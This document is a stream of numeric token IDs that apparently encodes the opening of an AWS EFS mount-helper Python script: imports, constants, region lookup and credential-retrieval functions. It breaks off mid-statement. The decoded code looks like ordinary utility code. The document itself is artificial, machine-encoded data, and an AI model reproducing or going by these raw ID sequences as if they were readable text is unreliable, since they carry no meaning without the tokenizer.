282,
9970,
13,
5215,
4036,
13,
5215,
337,
13,
5215,
9909,
13,
5215,
1014,
5014,
13,
5215,
10876,
13,
5215,
3244,
292,
13,
5215,
931,
13,
13,
3166,
3030,
1982,
1053,
3030,
12847,
13,
3166,
12865,
1053,
12865,
29892,
5335,
287,
2554,
13,
3166,
12183,
29889,
3179,
9306,
1053,
9664,
1218,
2283,
4598,
13,
13,
2202,
29901,
13,
1678,
1053,
12782,
11726,
13,
1678,
515,
12782,
11726,
1053,
1939,
8375,
2392,
29892,
1939,
13438,
2392,
13,
19499,
16032,
2392,
29901,
13,
1678,
515,
2295,
16680,
1053,
12782,
11726,
29892,
1939,
8375,
2392,
29892,
1939,
13438,
2392,
13,
13,
2202,
29901,
13,
1678,
515,
3142,
1982,
29889,
5510,
1053,
14978,
29918,
11242,
13,
19499,
16032,
2392,
29901,
13,
1678,
515,
3142,
1982,
1053,
14978,
29918,
11242,
13,
13,
2202,
29901,
13,
1678,
515,
3142,
1982,
29906,
1053,
501,
29934,
1307,
24616,
29892,
7331,
2392,
29892,
2048,
29918,
459,
759,
29892,
5065,
417,
2238,
29892,
10729,
29892,
7331,
4598,
13,
1678,
515,
3142,
1982,
1053,
3142,
12508,
13,
19499,
16032,
2392,
29901,
13,
1678,
515,
3142,
1982,
29889,
3827,
1053,
5065,
417,
2238,
29892,
10729,
13,
1678,
515,
3142,
1982,
29889,
2704,
1053,
501,
29934,
1307,
24616,
29892,
7331,
2392,
13,
1678,
515,
3142,
1982,
29889,
5510,
1053,
3142,
12508,
13,
13,
2202,
29901,
13,
1678,
1053,
9225,
542,
487,
29889,
7924,
13,
1678,
515,
9225,
542,
487,
29889,
11739,
29879,
1053,
12477,
2392,
29892,
1939,
28037,
2392,
29892,
2796,
3149,
5350,
2392,
13,
1678,
350,
2891,
29949,
3217,
1525,
29918,
15094,
29903,
3919,
353,
5852,
13,
19499,
16032,
2392,
29901,
13,
1678,
350,
2891,
29949,
3217,
1525,
29918,
15094,
29903,
3919,
353,
7700,
13,
13,
13,
16358,
353,
525,
29896,
29889,
29906,
29947,
29889,
29906,
29915,
13,
6304,
19059,
353,
525,
295,
6288,
5325,
973,
29915,
13,
13,
25903,
29918,
7724,
353,
8207,
7070,
29914,
17260,
29914,
1389,
29879,
29914,
1389,
29879,
29899,
13239,
29889,
5527,
29915,
13,
25903,
29918,
1660,
9838,
353,
525,
16476,
29915,
13,
27205,
3919,
29918,
11690,
29918,
1660,
9838,
353,
525,
4645,
29899,
3888,
29915,
13,
27205,
3919,
29918,
27839,
4741,
29918,
10810,
29918,
1307,
29940,
29918,
5265,
26349,
353,
29871,
29896,
29900,
29900,
13,
13,
29907,
3927,
15789,
29956,
14789,
29918,
14480,
29918,
1660,
9838,
353,
525,
9274,
12344,
29899,
1188,
29915,
13,
23397,
29918,
29907,
3927,
15789,
29956,
14789,
29918,
14480,
29918,
26284,
353,
8207,
10467,
29914,
1389,
29879,
29914,
13239,
29915,
13,
23397,
29918,
1525,
29911,
3919,
2725,
29918,
7698,
21554,
353,
29871,
29896,
29946,
13,
29937,
14293,
12344,
1188,
10823,
9657,
7805,
9570,
12344,
1188,
9225,
542,
487,
3132,
29892,
9570,
12344,
1188,
2318,
1024,
29892,
9570,
12344,
1188,
4840,
1024,
13,
29907,
3927,
15789,
29956,
14789,
14480,
29918,
10051,
3919,
353,
6213,
13,
13,
14480,
29918,
9464,
353,
8207,
1707,
29914,
1188,
29914,
17260,
29914,
1389,
29879,
29915,
13,
14480,
29918,
7724,
353,
525,
16476,
29889,
1188,
29915,
13,
13,
19713,
29918,
7724,
29918,
9464,
353,
8207,
1707,
29914,
3389,
29914,
1389,
29879,
29915,
13,
13,
29829,
29963,
3040,
29918,
10818,
29918,
7724,
353,
8207,
7070,
29914,
17260,
29914,
1389,
29879,
29914,
9053,
2558,
29889,
29886,
331,
29915,
13,
6248,
29918,
1164,
16786,
29918,
19094,
1299,
353,
14210,
29979,
29995,
29885,
29995,
29881,
29915,
13,
5425,
22928,
29946,
29918,
25832,
2544,
8890,
29918,
19094,
1299,
353,
14210,
29979,
29995,
29885,
29995,
29881,
29911,
29995,
29950,
29995,
29924,
29995,
29903,
29999,
29915,
13,
29907,
20161,
29918,
25832,
2544,
8890,
29918,
19094,
1299,
353,
14210,
29891,
29995,
29885,
29995,
29881,
29995,
29950,
29995,
29924,
29995,
29903,
29999,
29915,
13,
13,
29909,
7811,
29918,
29907,
19386,
3919,
25758,
29903,
29918,
7724,
353,
2897,
29889,
2084,
29889,
18837,
1792,
29898,
359,
29889,
2084,
29889,
7122,
877,
30022,
29915,
718,
282,
9970,
29889,
657,
29886,
29893,
5416,
29898,
359,
29889,
657,
5416,
16655,
29886,
29893,
29918,
978,
29892,
15300,
10467,
742,
525,
11944,
9409,
8785,
13,
29909,
7811,
29918,
25903,
29918,
7724,
353,
2897,
29889,
2084,
29889,
18837,
1792,
29898,
359,
29889,
2084,
29889,
7122,
877,
30022,
29915,
718,
282,
9970,
29889,
657,
29886,
29893,
5416,
29898,
359,
29889,
657,
5416,
16655,
29886,
29893,
29918,
978,
29892,
15300,
10467,
742,
525,
2917,
8785,
13,
13,
5454,
29918,
25903,
29918,
8456,
29928,
29979,
353,
9995,
3972,
353,
1273,
29879,
13,
29934,
9468,
7724,
353,
395,
3972,
29914,
9803,
6294,
9502,
13,
13,
29961,
5777,
4514,
13,
4381,
29918,
1113,
353,
1887,
29918,
1113,
13,
13,
29961,
1887,
29918,
1113,
4514,
13,
9803,
353,
395,
3972,
29914,
9803,
29914,
2248,
29889,
3945,
13,
15550,
353,
395,
3972,
29914,
9803,
29914,
15550,
13,
9053,
29918,
1989,
353,
1273,
29879,
13,
6327,
353,
395,
3972,
29914,
6327,
8021,
29889,
29886,
331,
13,
1482,
29918,
6327,
29879,
29918,
3972,
353,
395,
3972,
29914,
6327,
29879,
13,
4381,
29918,
3487,
353,
528,
29874,
29906,
29945,
29953,
13,
4569,
7143,
353,
694,
13,
22197,
353,
321,
5847,
15644,
13,
29916,
29945,
29900,
29929,
29918,
24299,
353,
325,
29941,
29918,
1113,
13,
13,
29961,
321,
5847,
15644,
4514,
13,
13778,
353,
19056,
13,
13,
29961,
12428,
4514,
13,
14032,
415,
353,
694,
13,
5721,
6202,
3276,
29918,
978,
353,
12428,
29918,
5721,
6202,
3276,
29918,
978,
13,
13,
29961,
12428,
29918,
5721,
6202,
3276,
29918,
978,
4514,
13,
13778,
353,
1273,
29879,
13,
13,
29995,
29879,
13,
13,
29995,
29879,
13,
13,
29995,
29879,
13,
15945,
29908,
13,
13,
29937,
15861,
29963,
29946,
13189,
13,
1964,
29954,
1955,
13054,
29924,
353,
525,
29909,
7811,
29946,
29899,
29950,
1529,
29907,
29899,
23498,
29906,
29945,
29953,
29915,
13,
29909,
7811,
29946,
29918,
16244,
353,
525,
10467,
29946,
29918,
3827,
29915,
13,
13,
10493,
29918,
16244,
29918,
2303,
4690,
13668,
353,
525,
7194,
29915,
13,
29907,
2190,
1164,
2965,
1964,
29918,
15551,
353,
8207,
29915,
13,
29907,
2190,
1164,
2965,
1964,
29918,
23252,
23598,
29918,
4571,
1783,
353,
426,
13,
1678,
525,
3069,
2396,
14210,
29879,
29915,
13,
29913,
13,
29907,
2190,
1164,
2965,
1964,
29918,
23252,
23598,
353,
11297,
29876,
4286,
7122,
18959,
29995,
29879,
16664,
29879,
29915,
1273,
313,
29895,
29892,
325,
29897,
363,
413,
29892,
325,
297,
12705,
29898,
29907,
2190,
1164,
2965,
1964,
29918,
23252,
23598,
29918,
4571,
1783,
29889,
7076,
3101,
2314,
13,
5425,
20728,
3352,
29918,
23252,
23598,
353,
21921,
4286,
7122,
29898,
29907,
2190,
1164,
2965,
1964,
29918,
23252,
23598,
29918,
4571,
1783,
29889,
8149,
3101,
13,
16244,
29918,
7228,
29979,
29428,
353,
6629,
13,
13,
9998,
29918,
1367,
29918,
1525,
353,
337,
29889,
12198,
877,
29985,
10780,
29925,
29966,
5847,
29918,
333,
29958,
5847,
29899,
29961,
29900,
29899,
29929,
29874,
29899,
29888,
10062,
1262,
1495,
13,
29923,
9998,
29918,
29943,
29984,
28307,
29918,
1525,
353,
337,
29889,
12198,
29898,
29878,
29915,
29985,
10780,
29925,
29966,
5847,
29918,
333,
29958,
5847,
29899,
29961,
29900,
29899,
29929,
29874,
29899,
29888,
10062,
2144,
29889,
1389,
29879,
23301,
10780,
29925,
29966,
12803,
24566,
29874,
29899,
29920,
29900,
29899,
29929,
29899,
10062,
2144,
29889,
10780,
29925,
29966,
29881,
1983,
29918,
978,
29918,
2146,
600,
861,
24566,
29874,
29899,
29920,
29900,
29899,
29929,
5586,
29974,
1262,
1495,
13,
3301,
29918,
1367,
29918,
1525,
353,
337,
29889,
12198,
877,
29985,
5847,
481,
29899,
29961,
29900,
29899,
29929,
29874,
29899,
29888,
3199,
29896,
29955,
1042,
1495,
13,
13,
29907,
19386,
3919,
25758,
29903,
29918,
10818,
29903,
353,
6024,
6638,
2558,
1204,
742,
525,
28459,
6638,
2558,
742,
525,
6066,
2033,
13,
29923,
9295,
29918,
15551,
29918,
25838,
353,
525,
29909,
7811,
29918,
6007,
6040,
1177,
1001,
29918,
29907,
19386,
3919,
25758,
29903,
29918,
1525,
29931,
1299,
18474,
29918,
15551,
29915,
13,
29923,
9295,
29918,
29911,
3289,
29968,
29918,
2303,
29911,
3035,
8254,
29918,
8787,
353,
525,
1124,
597,
29896,
29953,
29929,
29889,
29906,
29945,
29946,
29889,
29896,
29955,
29900,
29889,
29906,
29915,
13,
8851,
29933,
29918,
1367,
3919,
11937,
29918,
1672,
1307,
29918,
15249,
29918,
25838,
353,
525,
29909,
7811,
29918,
1672,
1307,
29918,
15249,
29915,
13,
8851,
29933,
29918,
1367,
3919,
11937,
29918,
4986,
29968,
1430,
29918,
7724,
29918,
25838,
353,
525,
29909,
7811,
29918,
8851,
29933,
29918,
1367,
3919,
11937,
29918,
4986,
29968,
1430,
29918,
7724,
29915,
13,
1254,
29903,
29918,
1430,
11191,
6992,
29911,
29918,
4219,
353,
525,
991,
597,
303,
29879,
29889,
17260,
10467,
29889,
510,
22208,
13,
25580,
23219,
29918,
2303,
29911,
3035,
8254,
29918,
4986,
29968,
1430,
29918,
4219,
353,
525,
1124,
597,
29896,
29953,
29929,
29889,
29906,
29945,
29946,
29889,
29896,
29953,
29929,
29889,
29906,
29945,
29946,
29914,
12333,
29914,
2754,
29914,
6979,
29915,
13,
25580,
23219,
29918,
2303,
29911,
3035,
8254,
29918,
6304,
19059,
29918,
4219,
353,
525,
1124,
597,
29896,
29953,
29929,
29889,
29906,
29945,
29946,
29889,
29896,
29953,
29929,
29889,
29906,
29945,
29946,
29914,
12333,
29914,
16626,
29914,
8758,
29899,
22350,
29914,
3225,
22208,
13,
25580,
23219,
29918,
29902,
5194,
29918,
4219,
353,
525,
1124,
597,
29896,
29953,
29929,
29889,
29906,
29945,
29946,
29889,
29896,
29953,
29929,
29889,
29906,
29945,
29946,
29914,
12333,
29914,
7299,
29899,
1272,
29914,
2829,
29914,
8926,
29899,
11944,
9409,
22208,
13,
1660,
22484,
11937,
29918,
22245,
8452,
29918,
29923,
9295,
29918,
15551,
29918,
29950,
6670,
29925,
29918,
4219,
353,
525,
991,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
29909,
655,
6626,
29923,
9295,
29914,
12333,
29914,
6734,
13075,
29914,
7662,
29899,
2829,
29899,
307,
793,
29889,
1420,
29915,
13,
1660,
22484,
11937,
29918,
22245,
8452,
29918,
8851,
29933,
1367,
3919,
11937,
29918,
29950,
6670,
29925,
29918,
4219,
353,
525,
991,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
14541,
29914,
12333,
29914,
1792,
13075,
29914,
2829,
29899,
307,
793,
29899,
1454,
29899,
5509,
29899,
10149,
29879,
29889,
1420,
29915,
13,
1660,
22484,
11937,
29918,
22245,
8452,
29918,
29902,
5194,
29918,
1672,
1307,
29918,
29950,
6670,
29925,
29918,
4219,
353,
525,
991,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
29376,
1660,
29907,
29906,
29914,
12333,
29914,
2659,
9485,
680,
29914,
2829,
29899,
307,
793,
29899,
1454,
29899,
17260,
29899,
687,
29906,
29889,
1420,
29915,
13,
13,
23397,
29918,
1254,
3904,
29940,
6670,
29918,
5348,
6545,
29979,
29918,
1307,
29963,
6670,
353,
29871,
29906,
13,
23397,
29918,
1254,
3904,
29940,
6670,
29918,
5454,
7724,
353,
8207,
7070,
29914,
17260,
29914,
1389,
29879,
29914,
1389,
29879,
29899,
13239,
29889,
29883,
2273,
29915,
13,
13,
12256,
29918,
15349,
5800,
1525,
29918,
16173,
29903,
353,
29871,
29896,
29945,
13,
12256,
29918,
5098,
4945,
29918,
8187,
4574,
29903,
353,
29871,
29941,
13,
13,
29923,
9998,
29918,
1164,
16786,
29918,
14094,
27946,
353,
518,
13,
1678,
525,
5943,
3149,
742,
13,
1678,
525,
10467,
1037,
6289,
5338,
742,
13,
1678,
525,
10467,
10185,
742,
13,
1678,
525,
1113,
1445,
742,
13,
1678,
525,
2829,
742,
13,
1678,
525,
1212,
1983,
742,
13,
1678,
525,
1217,
542,
1028,
742,
13,
1678,
525,
542,
1028,
742,
13,
1678,
525,
29873,
3137,
742,
13,
1678,
525,
29873,
3137,
637,
742,
13,
1678,
525,
27902,
29915,
13,
29962,
13,
13,
29965,
3059,
4897,
15082,
3352,
29918,
14094,
27946,
353,
518,
13,
1678,
525,
5030,
493,
29915,
13,
29962,
13,
13,
1254,
3904,
29940,
6670,
29918,
29954,
28902,
1964,
29918,
25903,
353,
426,
13,
1678,
525,
29888,
4512,
2396,
525,
1217,
742,
13,
1678,
525,
1454,
18128,
2396,
525,
3582,
742,
13,
1678,
525,
11514,
2396,
518,
13,
4706,
525,
29880,
29901,
6156,
29918,
1525,
17171,
3035,
8353,
29922,
3582,
742,
13,
4706,
525,
29874,
29901,
6156,
29918,
29933,
22255,
4986,
2287,
19059,
29922,
417,
742,
13,
1678,
21251,
13,
29913,
13,
13,
1254,
3904,
29940,
6670,
29918,
29923,
9998,
29918,
25903,
353,
426,
13,
1678,
525,
4645,
2396,
525,
3582,
742,
13,
1678,
525,
16044,
2396,
525,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
16664,
29879,
742,
13,
1678,
525,
6915,
2396,
14210,
29879,
29901,
29906,
29900,
29946,
29929,
742,
13,
1678,
525,
16265,
6594,
2396,
525,
29911,
8547,
29894,
29896,
29889,
29906,
742,
13,
1678,
525,
1267,
387,
327,
11685,
2396,
525,
1217,
742,
13,
1678,
525,
15307,
12015,
8262,
29891,
2396,
525,
29906,
29900,
742,
13,
1678,
525,
15307,
12015,
5358,
2396,
525,
29900,
742,
13,
1678,
525,
15307,
12015,
333,
280,
2396,
525,
29955,
29900,
742,
13,
1678,
525,
18829,
2396,
525,
3582,
742,
13,
29913,
13,
13,
29956,
14789,
3970,
29954,
29918,
6304,
19059,
353,
525,
17260,
29899,
1389,
29879,
29899,
16476,
29899,
12344,
26169,
29915,
13,
14816,
1254,
12665,
29918,
14829,
29918,
10145,
353,
8207,
7070,
29914,
5205,
29899,
14096,
29915,
13,
3267,
29918,
14829,
29918,
10145,
353,
8207,
7070,
29914,
359,
29899,
14096,
29915,
13,
29934,
29950,
6670,
29947,
29918,
14829,
29918,
5813,
353,
525,
9039,
25966,
9041,
7734,
8074,
6507,
29871,
29947,
29915,
13,
29907,
3919,
3267,
29947,
29918,
14829,
29918,
5813,
353,
525,
23369,
3267,
8074,
6507,
29871,
29947,
29915,
13,
29943,
3352,
1955,
29909,
29918,
14829,
29918,
5813,
353,
525,
29943,
287,
2207,
6507,
29915,
13,
14605,
1660,
29918,
14829,
29918,
5813,
353,
525,
3150,
14605,
1660,
951,
481,
29915,
13,
16033,
5690,
29918,
6632,
29918,
5265,
29933,
9980,
3301,
29918,
14829,
29903,
353,
518,
29934,
29950,
6670,
29947,
29918,
14829,
29918,
5813,
29892,
315,
3919,
3267,
29947,
29918,
14829,
29918,
5813,
29892,
383,
3352,
1955,
29909,
29918,
14829,
29918,
5813,
29892,
317,
17171,
29918,
14829,
29918,
5813,
29962,
13,
13,
13,
1753,
18409,
29918,
2704,
29898,
1792,
29918,
4906,
29892,
1480,
29918,
4906,
29922,
8516,
29892,
6876,
29918,
401,
29922,
29896,
1125,
13,
1678,
565,
1480,
29918,
4906,
338,
6213,
29901,
13,
4706,
1480,
29918,
4906,
353,
1404,
29918,
4906,
13,
13,
1678,
10876,
29889,
303,
20405,
29889,
3539,
877,
29995,
29879,
29905,
29876,
29915,
1273,
1404,
29918,
4906,
29897,
13,
1678,
12183,
29889,
2704,
29898,
1188,
29918,
4906,
29897,
13,
1678,
9805,
29918,
9274,
12344,
29918,
1188,
29898,
29907,
3927,
15789,
29956,
14789,
14480,
29918,
10051,
3919,
29892,
525,
27648,
5229,
29892,
1273,
29879,
29915,
1273,
1480,
29918,
4906,
29897,
13,
1678,
10876,
29889,
13322,
29898,
13322,
29918,
401,
29897,
13,
13,
13,
1753,
679,
29918,
5182,
29918,
12803,
29898,
2917,
1125,
13,
1678,
822,
903,
29888,
2075,
29918,
2704,
29898,
4906,
1125,
13,
4706,
18409,
29918,
2704,
877,
2392,
5663,
15387,
5120,
29889,
3529,
731,
278,
376,
12803,
29908,
3443,
297,
278,
321,
5847,
29899,
13239,
5285,
934,
29889,
742,
2643,
29897,
13,
13,
1678,
15562,
29918,
11739,
353,
525,
14148,
1059,
29915,
13,
1678,
1018,
29901,
13,
4706,
736,
2295,
29889,
657,
29898,
25903,
29918,
1660,
9838,
29892,
525,
12803,
1495,
13,
1678,
5174,
1939,
8375,
2392,
29901,
13,
4706,
1209,
13,
13,
1678,
1018,
29901,
13,
4706,
736,
679,
29918,
12803,
29918,
3166,
29918,
8758,
29918,
19635,
580,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
15562,
29918,
11739,
353,
321,
13,
4706,
12183,
29889,
27392,
877,
18457,
451,
1476,
297,
2295,
934,
322,
15562,
2669,
1246,
5229,
29892,
20327,
1250,
525,
13,
462,
4706,
525,
517,
25000,
376,
29881,
1983,
29918,
978,
29918,
4830,
29908,
1423,
1495,
13,
13,
1678,
1018,
29901,
13,
4706,
5120,
353,
679,
29918,
12803,
29918,
3166,
29918,
1397,
4135,
29918,
29881,
1983,
29918,
4830,
29898,
2917,
29897,
13,
4706,
10876,
29889,
25393,
29889,
3539,
877,
22709,
29901,
5120,
7625,
515,
376,
29881,
1983,
29918,
978,
29918,
4830,
29908,
1746,
29889,
3529,
731,
278,
376,
12803,
29908,
525,
13,
462,
308,
525,
15501,
297,
278,
321,
5847,
29899,
13239,
5285,
934,
29889,
1495,
13,
4706,
736,
5120,
13,
1678,
5174,
8960,
29901,
13,
4706,
12183,
29889,
27392,
877,
22988,
4135,
1423,
363,
5120,
297,
376,
29881,
1983,
29918,
978,
29918,
4830,
29908,
5229,
1495,
13,
13,
1678,
903,
29888,
2075,
29918,
2704,
29898,
19635,
29918,
11739,
29897,
13,
13,
13,
1753,
679,
29918,
12803,
29918,
3166,
29918,
8758,
29918,
19635,
7295,
13,
1678,
2777,
29918,
22350,
353,
679,
29918,
8758,
29918,
22350,
29918,
3888,
29918,
3166,
29918,
8758,
29918,
19635,
877,
12803,
1495,
13,
13,
1678,
565,
451,
2777,
29918,
22350,
29901,
13,
4706,
12020,
8960,
703,
29089,
10563,
5120,
515,
2777,
29918,
19635,
1159,
13,
13,
1678,
736,
2777,
29918,
22350,
13,
13,
13,
1753,
679,
29918,
8758,
29918,
22350,
29918,
3888,
29918,
3166,
29918,
8758,
29918,
19635,
29898,
6799,
1125,
13,
1678,
21226,
29906,
29918,
19635,
29918,
348,
8698,
1319,
29918,
13713,
353,
525,
25807,
29884,
1676,
1319,
5663,
16837,
310,
17522,
29906,
15562,
472,
1273,
29879,
6169,
1273,
2672,
1254,
23219,
29918,
2303,
29911,
3035,
8254,
29918,
6304,
19059,
29918,
4219,
13,
1678,
21226,
29906,
29918,
19635,
29918,
2271,
29918,
2704,
29918,
7645,
353,
525,
2525,
519,
304,
6159,
1273,
29879,
304,
10563,
17522,
29906,
2777,
15562,
6169,
1273,
2672,
1254,
23219,
29918,
2303,
29911,
3035,
8254,
29918,
6304,
19059,
29918,
4219,
13,
1678,
2777,
29918,
22350,
353,
3142,
29918,
3827,
29918,
20907,
29898,
25580,
23219,
29918,
2303,
29911,
3035,
8254,
29918,
6304,
19059,
29918,
4219,
29892,
21226,
29906,
29918,
19635,
29918,
348,
8698,
1319,
29918,
13713,
29892,
13,
462,
462,
965,
21226,
29906,
29918,
19635,
29918,
2271,
29918,
2704,
29918,
7645,
29892,
337,
2202,
29918,
2541,
29918,
1482,
29918,
6672,
29918,
6979,
29922,
5574,
29897,
13,
1678,
565,
2777,
29918,
22350,
29901,
13,
4706,
1018,
29901,
13,
9651,
736,
2777,
29918,
22350,
29961,
6799,
29962,
13,
4706,
5174,
7670,
2392,
408,
321,
29901,
13,
9651,
12183,
29889,
27392,
877,
29995,
29879,
451,
2198,
297,
1273,
29879,
29901,
1273,
29879,
29915,
1273,
313,
6799,
29892,
2777,
29918,
22350,
29892,
321,
876,
13,
4706,
5174,
20948,
408,
321,
29901,
13,
9651,
12183,
29889,
27392,
877,
5327,
1273,
29879,
338,
451,
263,
4390,
1203,
29901,
1273,
29879,
29915,
1273,
313,
8758,
29918,
22350,
29892,
321,
876,
13,
13,
1678,
736,
6213,
13,
13,
13,
1753,
679,
29918,
12803,
29918,
3166,
29918,
1397,
4135,
29918,
29881,
1983,
29918,
4830,
29898,
2917,
1125,
13,
1678,
9995,
13,
1678,
1152,
28953,
24521,
1423,
270,
1983,
29918,
978,
29918,
4830,
304,
4017,
278,
3646,
5120,
29889,
910,
9863,
13,
1678,
881,
871,
367,
1304,
565,
5120,
338,
451,
2198,
297,
278,
2295,
934,
322,
15562,
5717,
4418,
29889,
13,
1678,
9995,
13,
1678,
270,
1983,
29918,
978,
29918,
4830,
353,
2295,
29889,
657,
29898,
25903,
29918,
1660,
9838,
29892,
525,
29881,
1983,
29918,
978,
29918,
4830,
1495,
13,
1678,
565,
22372,
12803,
10162,
451,
297,
270,
1983,
29918,
978,
29918,
4830,
29901,
13,
4706,
6219,
29918,
29881,
1983,
29918,
978,
29918,
4830,
353,
270,
1983,
29918,
978,
29918,
4830,
29889,
5451,
12839,
1495,
13,
4706,
565,
22372,
29881,
1983,
29918,
978,
29918,
2146,
600,
861,
10162,
297,
270,
1983,
29918,
978,
29918,
4830,
29901,
13,
9651,
736,
6219,
29918,
29881,
1983,
29918,
978,
29918,
4830,
14352,
29906,
29962,
13,
4706,
25342,
525,
17260,
10467,
29889,
510,
29915,
297,
270,
1983,
29918,
978,
29918,
4830,
29901,
13,
9651,
736,
6219,
29918,
29881,
1983,
29918,
978,
29918,
4830,
14352,
29941,
29962,
13,
1678,
12020,
8960,
877,
18457,
451,
1476,
297,
270,
1983,
29918,
978,
29918,
4830,
1495,
13,
13,
13,
1753,
679,
29918,
10467,
29918,
687,
29906,
29918,
19635,
29918,
6979,
7295,
13,
1678,
1018,
29901,
13,
4706,
1015,
759,
353,
2048,
29918,
459,
759,
29898,
10493,
4598,
29897,
13,
4706,
2009,
353,
10729,
29898,
25580,
23219,
29918,
2303,
29911,
3035,
8254,
29918,
4986,
29968,
1430,
29918,
4219,
29897,
13,
4706,
2009,
29889,
1202,
29918,
6672,
877,
29990,
29899,
10467,
29899,
687,
29906,
29899,
19635,
29899,
6979,
29899,
698,
29880,
29899,
23128,
742,
29871,
29906,
29896,
29953,
29900,
29900,
29897,
13,
4706,
2009,
29889,
657,
29918,
5696,
353,
14013,
29901,
525,
12336,
29915,
13,
4706,
620,
353,
1015,
759,
29889,
3150,
29898,
3827,
29897,
13,
4706,
736,
620,
29889,
949,
580,
13,
1678,
5174,
4408,
2392,
29901,
13,
4706,
9066,
353,
11117,
29990,
29899,
10467,
29899,
687,
29906,
29899,
19635,
29899,
6979,
29899,
698,
29880,
29899,
23128,
2396,
29871,
29906,
29896,
29953,
29900,
29900,
29913,
13,
4706,
12428,
353,
10729,
29898,
25580,
23219,
29918,
2303,
29911,
3035,
8254,
29918,
4986,
29968,
1430,
29918,
4219,
29892,
9066,
29922,
13662,
29892,
1158,
2433,
12336,
1495,
13,
4706,
620,
353,
5065,
417,
2238,
29898,
7971,
29897,
13,
4706,
736,
620,
29889,
949,
580,
13,
13,
13,
1753,
679,
29918,
10467,
29918,
8926,
29918,
11944,
9409,
29898,
1509,
29918,
2829,
29892,
25879,
10185,
29922,
8516,
29892,
25879,
29918,
1037,
6289,
29918,
5338,
29922,
8516,
1125,
13,
1678,
9995,
13,
1678,
7419,
786,
15540,
6993,
16140,
313,
5943,
1820,
3553,
322,
7035,
2130,
1820,
467,
23255,
415,
287,
16140,
13113,
9704,
515,
29901,
13,
1678,
2045,
597,
29890,
3747,
29941,
29889,
17260,
10467,
29889,
510,
29914,
29894,
29896,
29914,
12663,
29914,
2754,
29914,
12333,
29914,
13075,
29914,
13305,
29889,
1420,
322,
13,
1678,
2045,
597,
2640,
29889,
10467,
29889,
17260,
29889,
510,
29914,
15348,
29899,
1454,
29899,
1645,
29914,
29894,
29896,
29914,
6734,
29899,
13075,
29914,
11944,
9409,
29889,
1420,
13,
1678,
9995,
13,
1678,
565,
451,
671,
29918,
2829,
29901,
13,
4706,
736,
6213,
29892,
6213,
13,
13,
1678,
396,
4218,
304,
16280,
15540,
6993,
16140,
1549,
278,
16140,
23539,
278,
382,
9295,
10823,
5759,
13,
1678,
565,
25879,
29918,
1037,
6289,
29918,
5338,
29901,
13,
4706,
736,
679,
29918,
10467,
29918,
8926,
29918,
11944,
9409,
29918,
3166,
29918,
687,
29879,
29898,
10467,
29918,
1037,
6289,
29918,
5338,
29892,
5852,
29897,
13,
13,
1678,
396,
4218,
304,
16280,
15540,
6993,
16140,
297,
15540,
16140,
934,
313,
30022,
6294,
10467,
29914,
11944,
9409,
29897,
13,
1678,
396,
322,
2295,
29879,
934,
313,
30022,
6294,
10467,
29914,
2917,
29897,
411,
2183,
25879,
10185,
13,
1678,
565,
25879,
10185,
29901,
13,
4706,
736,
679,
29918,
10467,
29918,
8926,
29918,
11944,
9409,
29918,
3166,
29918,
10467,
10185,
29898,
10467,
10185,
29892,
5852,
29897,
13,
13,
1678,
396,
4218,
304,
16280,
15540,
6993,
16140,
1549,
15540,
29918,
6007,
6040,
1177,
1001,
29918,
29907,
19386,
3919,
25758,
29903,
29918,
1525,
29931,
1299,
18474,
29918,
15551,
5177,
2286,
13,
1678,
565,
382,
9295,
29918,
15551,
29918,
25838,
297,
2897,
29889,
21813,
29901,
13,
4706,
16140,
29892,
16140,
29918,
4993,
353,
679,
29918,
10467,
29918,
8926,
29918,
11944,
9409,
29918,
3166,
29918,
687,
29879,
29898,
359,
29889,
21813,
29961,
29923,
9295,
29918,
15551,
29918,
25838,
1402,
7700,
29897,
13,
4706,
565,
16140,
322,
16140,
29918,
4993,
29901,
13,
9651,
736,
16140,
29892,
16140,
29918,
4993,
13,
13,
1678,
396,
4218,
304,
16280,
15540,
6993,
16140,
1549,
22680,
16727,
3047,
3609,
18415,
13,
1678,
396,
313,
29872,
29889,
29887,
29889,
363,
306,
5194,
1528,
280,
363,
6692,
16535,
29879,
313,
8193,
8132,
29897,
2948,
373,
382,
17557,
29897,
13,
1678,
565,
399,
25752,
29918,
1367,
3919,
11937,
29918,
1672,
1307,
29918,
15249,
29918,
25838,
297,
2897,
29889,
21813,
322,
399,
25752,
29918,
1367,
3919,
11937,
29918,
4986,
29968,
1430,
29918,
7724,
29918,
25838,
297,
2897,
29889,
21813,
29901,
13,
4706,
16140,
29892,
16140,
29918,
4993,
353,
679,
29918,
10467,
29918,
8926,
29918,
11944,
9409,
29918,
3166,
29918,
2676,
22350,
29898,
13,
9651,
2897,
29889,
21813,
29961,
8851,
29933,
29918,
1367,
3919,
11937,
29918,
1672,
1307,
29918,
15249,
29918,
25838,
1402,
13,
9651,
2897,
29889,
21813,
29961,
8851,
29933,
29918,
1367,
3919,
11937,
29918,
4986,
29968,
1430,
29918,
7724,
29918,
25838,
1402,
13,
9651,
7700,
13,
4706,
1723,
13,
4706,
565,
16140,
322,
16140,
29918,
4993,
29901,
13,
9651,
736,
16140,
29892,
16140,
29918,
4993,
13,
13,
1678,
396,
4218,
304,
16280,
15540,
6993,
16140,
411,
306,
5194,
6297,
1024,
10959,
304,
2777,
13,
1678,
396,
1549,
306,
5194,
6297,
1024,
6993,
16140,
16280,
21333,
13,
1678,
474,
314,
29918,
12154,
29918,
978,
353,
679,
29918,
2829,
29918,
12154,
29918,
978,
580,
13,
1678,
565,
474,
314,
29918,
12154,
29918,
978,
29901,
13,
4706,
16140,
29892,
16140,
29918,
4993,
353,
679,
29918,
10467,
29918,
8926,
29918,
11944,
9409,
29918,
3166,
29918,
8758,
29918,
19635,
29898,
2829,
29918,
12154,
29918,
978,
29897,
13,
4706,
565,
16140,
322,
16140,
29918,
4993,
29901,
13,
9651,
736,
16140,
29892,
16140,
29918,
4993,
13,
13,
1678,
1059,
29918,
7645,
353,
525,
29909,
7811,
11028,
7670,
3553,
322,
10213,
11028,
7670,
526,
451,
1476,
297,
15540,
16140,
934,
313,
29995,
29879,
511,
2295,
934,
313,
29995,
29879,
511,
525,
320,
13,
18884,
525,
3166,
382,
9295,
16140,
6198,
21333,
29892,
470,
515,
278,
2777,
6993,
16140,
2669,
29915,
1273,
320,
13,
18884,
313,
29909,
7811,
29918,
29907,
19386,
3919,
25758,
29903,
29918,
7724,
29892,
15540,
